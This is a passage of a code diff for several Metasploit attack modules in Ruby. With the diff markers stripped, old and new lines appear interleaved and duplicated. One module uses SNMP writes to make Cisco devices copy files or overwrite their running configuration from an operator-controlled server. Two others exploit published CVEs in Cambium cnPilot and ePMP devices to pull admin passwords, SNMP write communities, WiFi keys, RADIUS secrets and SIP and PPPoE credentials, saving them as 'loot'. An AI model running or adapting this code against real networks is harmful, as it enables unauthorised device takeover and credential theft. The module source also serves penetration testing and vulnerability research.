session = rand(255) + 1
|
||||
snmp = connect_snmp
|
||||
|
||||
snmp = connect_snmp
|
||||
# OID variables to for checking if the host is alive and if the community is valid
|
||||
cisco_flash_copy_entry_status = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.'
|
||||
cisco_flash_copy_command = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.'
|
||||
|
||||
# OID variables to for checking if the host is alive and if the community is valid
|
||||
ciscoFlashCopyEntryStatus = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.'
|
||||
ciscoFlashCopyCommand = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.'
|
||||
varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(6))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(6))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(5))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(5))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{cisco_flash_copy_command}#{session}", SNMP::Integer.new(2))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyCommand}#{session}" , SNMP::Integer.new(2))
|
||||
value = snmp.set(varbind)
|
||||
# If the above line didn't throw an error, the host is alive and the community is valid
|
||||
print_status("Copying file #{@filename} to #{ip}...")
|
||||
|
||||
if (action.name == 'Upload_File')
|
||||
|
||||
# If the above line didn't throw an error, the host is alive and the community is valid
|
||||
print_status("Copying file #{@filename} to #{ip}...")
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}", SNMP::Integer.new(1))
|
||||
snmp.set(varbind)
|
||||
|
||||
if(action.name == 'Upload_File')
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}" , SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(1))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename))
|
||||
value = snmp.set(varbind)
|
||||
elsif (action.name == 'Override_Config')
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}", SNMP::Integer.new(1))
|
||||
snmp.set(varbind)
|
||||
|
||||
elsif(action.name == 'Override_Config')
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}", SNMP::Integer.new(1))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}" , SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}", SNMP::Integer.new(4))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}" , SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}" , SNMP::Integer.new(4))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}" , SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
end
|
||||
|
||||
|
||||
# No need to make noise about timeouts
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}", SNMP::Integer.new(1))
|
||||
snmp.set(varbind)
|
||||
end
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
|
||||
# No need to make noise about timeouts
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -19,125 +20,126 @@ class MetasploitModule < Msf::Auxiliary
|
||||
credentials via SNMP Read-Only (RO) community string.
|
||||
},
|
||||
'Author' => ['Karn Ganeshen'],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-5262'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
['CVE', '2017-5262'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'SNMP connection timeout', 10])
|
||||
], self.class
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
print_good("#{ip}, Connected.\n")
|
||||
snmp = connect_snmp
|
||||
print_good("#{ip}, Connected.\n")
|
||||
|
||||
cnpilot_info = ''
|
||||
cnpilot_info = ''
|
||||
|
||||
# System Info
|
||||
snmp_system_name = snmp.get_value('1.3.6.1.4.1.41010.1.1.1.0')
|
||||
snmp_system_description = snmp.get_value('1.3.6.1.2.1.1.1.0')
|
||||
cnpilot_system_uptime = snmp.get_value('1.3.6.1.2.1.1.3.0')
|
||||
cnpilot_hardware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.4.0')
|
||||
cnpilot_firmware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.5.0')
|
||||
# System Info
|
||||
snmp_system_name = snmp.get_value('1.3.6.1.4.1.41010.1.1.1.0')
|
||||
snmp_system_description = snmp.get_value('1.3.6.1.2.1.1.1.0')
|
||||
cnpilot_system_uptime = snmp.get_value('1.3.6.1.2.1.1.3.0')
|
||||
cnpilot_hardware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.4.0')
|
||||
cnpilot_firmware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.5.0')
|
||||
|
||||
cnpilot_info << "SNMP System Name: #{snmp_system_name}" << "\n"
|
||||
cnpilot_info << "SNMP System Description: #{snmp_system_description}" << "\n"
|
||||
cnpilot_info << "Device UpTime: #{cnpilot_system_uptime}" << "\n"
|
||||
cnpilot_info << "Hardware version: #{cnpilot_hardware_version}" << "\n"
|
||||
cnpilot_info << "Firmware version: #{cnpilot_firmware_version}" << "\n"
|
||||
cnpilot_info << "SNMP System Name: #{snmp_system_name}" << "\n"
|
||||
cnpilot_info << "SNMP System Description: #{snmp_system_description}" << "\n"
|
||||
cnpilot_info << "Device UpTime: #{cnpilot_system_uptime}" << "\n"
|
||||
cnpilot_info << "Hardware version: #{cnpilot_hardware_version}" << "\n"
|
||||
cnpilot_info << "Firmware version: #{cnpilot_firmware_version}" << "\n"
|
||||
|
||||
# cnPilot Web Management Admin account Info
|
||||
admin_username = snmp.get_value('1.3.6.1.4.1.41010.1.7.12.0')
|
||||
admin_password = snmp.get_value('1.3.6.1.4.1.41010.1.7.13.0')
|
||||
# cnPilot Web Management Admin account Info
|
||||
admin_username = snmp.get_value('1.3.6.1.4.1.41010.1.7.12.0')
|
||||
admin_password = snmp.get_value('1.3.6.1.4.1.41010.1.7.13.0')
|
||||
|
||||
cnpilot_info << "Web Management Admin Login Name: #{admin_username}" << "\n"
|
||||
cnpilot_info << "Web Management Admin Login Password: #{admin_password}" << "\n"
|
||||
cnpilot_info << "Web Management Admin Login Name: #{admin_username}" << "\n"
|
||||
cnpilot_info << "Web Management Admin Login Password: #{admin_password}" << "\n"
|
||||
|
||||
# SNMP Info
|
||||
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.2.0')
|
||||
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.3.0')
|
||||
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.4.0')
|
||||
snmp_trap_entry_ip = snmp.get_value('1.3.6.1.4.1.41010.1.9.1.0')
|
||||
# SNMP Info
|
||||
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.2.0')
|
||||
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.3.0')
|
||||
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.4.0')
|
||||
snmp_trap_entry_ip = snmp.get_value('1.3.6.1.4.1.41010.1.9.1.0')
|
||||
|
||||
cnpilot_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
|
||||
cnpilot_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
|
||||
cnpilot_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
|
||||
cnpilot_info << "SNMP Trap Server IP Address: #{snmp_trap_entry_ip}" << "\n"
|
||||
cnpilot_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
|
||||
cnpilot_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
|
||||
cnpilot_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
|
||||
cnpilot_info << "SNMP Trap Server IP Address: #{snmp_trap_entry_ip}" << "\n"
|
||||
|
||||
# WIFI Info
|
||||
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.6.1')
|
||||
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.8.1')
|
||||
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.7.1')
|
||||
# WIFI Info
|
||||
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.6.1')
|
||||
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.8.1')
|
||||
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.7.1')
|
||||
|
||||
cnpilot_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
|
||||
cnpilot_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
|
||||
cnpilot_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
|
||||
cnpilot_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
|
||||
cnpilot_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
|
||||
cnpilot_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
|
||||
|
||||
# SIP Account Info
|
||||
sip_accountnumber = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.11.1')
|
||||
sip_accountpassword = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.12.1')
|
||||
# SIP Account Info
|
||||
sip_accountnumber = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.11.1')
|
||||
sip_accountpassword = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.12.1')
|
||||
|
||||
cnpilot_info << "SIP Account Number: #{sip_accountnumber}" << "\n"
|
||||
cnpilot_info << "SIP Account Password: #{sip_accountpassword}" << "\n"
|
||||
cnpilot_info << "SIP Account Number: #{sip_accountnumber}" << "\n"
|
||||
cnpilot_info << "SIP Account Password: #{sip_accountpassword}" << "\n"
|
||||
|
||||
# Printing captured info
|
||||
print_status("Fetching System Information...\n")
|
||||
print_good("SNMP System Name: #{snmp_system_name}")
|
||||
print_good("SNMP System Description: #{snmp_system_description}")
|
||||
print_good("Device UpTime: #{cnpilot_system_uptime}")
|
||||
print_good("Hardware version: #{cnpilot_hardware_version}")
|
||||
print_good("Firmware version: #{cnpilot_firmware_version}\n")
|
||||
# Printing captured info
|
||||
print_status("Fetching System Information...\n")
|
||||
print_good("SNMP System Name: #{snmp_system_name}")
|
||||
print_good("SNMP System Description: #{snmp_system_description}")
|
||||
print_good("Device UpTime: #{cnpilot_system_uptime}")
|
||||
print_good("Hardware version: #{cnpilot_hardware_version}")
|
||||
print_good("Firmware version: #{cnpilot_firmware_version}\n")
|
||||
|
||||
print_status("Fetching Login Account Information...\n")
|
||||
print_good("Web Management Admin Login Name: #{admin_username}")
|
||||
print_good("Web Management Admin Login Password: #{admin_password}\n")
|
||||
print_status("Fetching Login Account Information...\n")
|
||||
print_good("Web Management Admin Login Name: #{admin_username}")
|
||||
print_good("Web Management Admin Login Password: #{admin_password}\n")
|
||||
|
||||
print_status("Fetching SNMP Information...\n")
|
||||
print_good("SNMP read-only community name: #{snmp_readonly_community}")
|
||||
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
|
||||
print_good("SNMP Trap Community: #{snmp_trap_community}")
|
||||
print_good("SNMP Trap Server IP Address: #{snmp_trap_entry_ip} \n")
|
||||
print_status("Fetching SNMP Information...\n")
|
||||
print_good("SNMP read-only community name: #{snmp_readonly_community}")
|
||||
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
|
||||
print_good("SNMP Trap Community: #{snmp_trap_community}")
|
||||
print_good("SNMP Trap Server IP Address: #{snmp_trap_entry_ip} \n")
|
||||
|
||||
print_status("Fetching WIFI Information...\n")
|
||||
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
|
||||
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
|
||||
print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
|
||||
print_status("Fetching WIFI Information...\n")
|
||||
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
|
||||
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
|
||||
print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
|
||||
|
||||
print_status("Fetching SIP Account Information...\n")
|
||||
print_good("SIP Account Number: #{sip_accountnumber}")
|
||||
print_good("SIP Account Password: #{sip_accountpassword}\n")
|
||||
print_status("Fetching SIP Account Information...\n")
|
||||
print_good("SIP Account Number: #{sip_accountnumber}")
|
||||
print_good("SIP Account Password: #{sip_accountpassword}\n")
|
||||
|
||||
# Woot we got loot.
|
||||
loot_name = 'snmp_loot'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'cnpilot_snmp_loot.txt'
|
||||
loot_desc = 'Cambium cnPilot configuration data'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc)
|
||||
print_good("Cambium cnPilot SNMP loot saved at #{p} \n")
|
||||
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
# Woot we got loot.
|
||||
loot_name = 'snmp_loot'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'cnpilot_snmp_loot.txt'
|
||||
loot_desc = 'Cambium cnPilot configuration data'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc)
|
||||
print_good("Cambium cnPilot SNMP loot saved at #{p} \n")
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -22,146 +23,147 @@ class MetasploitModule < Msf::Auxiliary
|
||||
configuration file can then be downloaded without authentication. The module
|
||||
has been tested on Cambium ePMP versions 3.5 & prior.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://ipositivesecurity.com/2017/04/07/cambium-snmp-security-vulnerabilities/'],
|
||||
['CVE', '2017-7918'],
|
||||
['CVE', '2017-7922']
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://ipositivesecurity.com/2017/04/07/cambium-snmp-security-vulnerabilities/'],
|
||||
['CVE', '2017-7918'],
|
||||
['CVE', '2017-7922']
|
||||
],
|
||||
'Author' => ['Karn Ganeshen'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
epmp_info = ''
|
||||
epmp_info = ''
|
||||
|
||||
# System Info
|
||||
snmp_systemname = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.3.0')
|
||||
snmp_systemdescription = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.4.0')
|
||||
system_uptime = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.4.0')
|
||||
uboot_version = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.14.0')
|
||||
# System Info
|
||||
snmp_systemname = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.3.0')
|
||||
snmp_systemdescription = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.4.0')
|
||||
system_uptime = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.4.0')
|
||||
uboot_version = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.14.0')
|
||||
|
||||
epmp_info << "SNMP System Name: #{snmp_systemname}" << "\n"
|
||||
epmp_info << "SNMP System Description: #{snmp_systemdescription}" << "\n"
|
||||
epmp_info << "Device UpTime: #{system_uptime}" << "\n"
|
||||
epmp_info << "U-boot version: #{uboot_version}" << "\n"
|
||||
epmp_info << "SNMP System Name: #{snmp_systemname}" << "\n"
|
||||
epmp_info << "SNMP System Description: #{snmp_systemdescription}" << "\n"
|
||||
epmp_info << "Device UpTime: #{system_uptime}" << "\n"
|
||||
epmp_info << "U-boot version: #{uboot_version}" << "\n"
|
||||
|
||||
# SNMP Info
|
||||
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.1.0')
|
||||
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.2.0')
|
||||
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.6.0')
|
||||
snmp_trap_entryip = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.7.1.2.0')
|
||||
# SNMP Info
|
||||
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.1.0')
|
||||
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.2.0')
|
||||
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.6.0')
|
||||
snmp_trap_entryip = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.7.1.2.0')
|
||||
|
||||
epmp_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
|
||||
epmp_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
|
||||
epmp_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
|
||||
epmp_info << "SNMP Trap Server IP Address: #{snmp_trap_entryip}" << "\n"
|
||||
epmp_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
|
||||
epmp_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
|
||||
epmp_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
|
||||
epmp_info << "SNMP Trap Server IP Address: #{snmp_trap_entryip}" << "\n"
|
||||
|
||||
# WIFI Radius Info
|
||||
wireless_radius_serverinfo = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.5.0')
|
||||
wireless_radius_serverport = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.3.0')
|
||||
wireless_radius_serversecret = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.4.0')
|
||||
wireless_radius_username = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.8.0')
|
||||
wireless_radius_password = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.9.0')
|
||||
# WIFI Radius Info
|
||||
wireless_radius_serverinfo = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.5.0')
|
||||
wireless_radius_serverport = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.3.0')
|
||||
wireless_radius_serversecret = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.4.0')
|
||||
wireless_radius_username = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.8.0')
|
||||
wireless_radius_password = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.9.0')
|
||||
|
||||
epmp_info << "RADIUS server info: #{wireless_radius_serverinfo}" << "\n"
|
||||
epmp_info << "RADIUS server port: #{wireless_radius_serverport}" << "\n"
|
||||
epmp_info << "RADIUS server secret: #{wireless_radius_serversecret}" << "\n"
|
||||
epmp_info << "Wireless Radius Username: #{wireless_radius_username}" << "\n"
|
||||
epmp_info << "Wireless Radius Password: #{wireless_radius_password}" << "\n"
|
||||
epmp_info << "RADIUS server info: #{wireless_radius_serverinfo}" << "\n"
|
||||
epmp_info << "RADIUS server port: #{wireless_radius_serverport}" << "\n"
|
||||
epmp_info << "RADIUS server secret: #{wireless_radius_serversecret}" << "\n"
|
||||
epmp_info << "Wireless Radius Username: #{wireless_radius_username}" << "\n"
|
||||
epmp_info << "Wireless Radius Password: #{wireless_radius_password}" << "\n"
|
||||
|
||||
# WIFI Info
|
||||
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.2.0')
|
||||
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.4.0')
|
||||
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.3.0')
|
||||
# WIFI Info
|
||||
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.2.0')
|
||||
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.4.0')
|
||||
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.3.0')
|
||||
|
||||
epmp_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
|
||||
epmp_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
|
||||
epmp_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
|
||||
epmp_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
|
||||
epmp_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
|
||||
epmp_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
|
||||
|
||||
# Network PPPoE config
|
||||
network_wan_pppoeservice = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.13.0')
|
||||
network_wan_pppoeusername = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.10.0')
|
||||
network_wan_pppoepassword = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.11.0')
|
||||
# Network PPPoE config
|
||||
network_wan_pppoeservice = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.13.0')
|
||||
network_wan_pppoeusername = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.10.0')
|
||||
network_wan_pppoepassword = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.11.0')
|
||||
|
||||
epmp_info << "Network PPPoE Service Name: #{network_wan_pppoeservice}" << "\n"
|
||||
epmp_info << "Network PPPoE Username: #{network_wan_pppoeusername}" << "\n"
|
||||
epmp_info << "Network PPPoE Password: #{network_wan_pppoepassword}" << "\n"
|
||||
epmp_info << "Network PPPoE Service Name: #{network_wan_pppoeservice}" << "\n"
|
||||
epmp_info << "Network PPPoE Username: #{network_wan_pppoeusername}" << "\n"
|
||||
epmp_info << "Network PPPoE Password: #{network_wan_pppoepassword}" << "\n"
|
||||
|
||||
# Printing captured info
|
||||
print_status("Fetching System Information...\n")
|
||||
print_good("#{ip}")
|
||||
print_good("SNMP System Name: #{snmp_systemname}")
|
||||
print_good("SNMP System Description: #{snmp_systemdescription}")
|
||||
print_good("Device UpTime: #{system_uptime}")
|
||||
print_good("U-boot version: #{uboot_version} \n")
|
||||
# Printing captured info
|
||||
print_status("Fetching System Information...\n")
|
||||
print_good(ip.to_s)
|
||||
print_good("SNMP System Name: #{snmp_systemname}")
|
||||
print_good("SNMP System Description: #{snmp_systemdescription}")
|
||||
print_good("Device UpTime: #{system_uptime}")
|
||||
print_good("U-boot version: #{uboot_version} \n")
|
||||
|
||||
print_status("Fetching SNMP Information...\n")
|
||||
print_good("SNMP read-only community name: #{snmp_readonly_community}")
|
||||
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
|
||||
print_good("SNMP Trap Community: #{snmp_trap_community}")
|
||||
print_good("SNMP Trap Server IP Address: #{snmp_trap_entryip} \n")
|
||||
print_status("Fetching SNMP Information...\n")
|
||||
print_good("SNMP read-only community name: #{snmp_readonly_community}")
|
||||
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
|
||||
print_good("SNMP Trap Community: #{snmp_trap_community}")
|
||||
print_good("SNMP Trap Server IP Address: #{snmp_trap_entryip} \n")
|
||||
|
||||
print_status("Fetching WIFI Information...\n")
|
||||
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
|
||||
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
|
||||
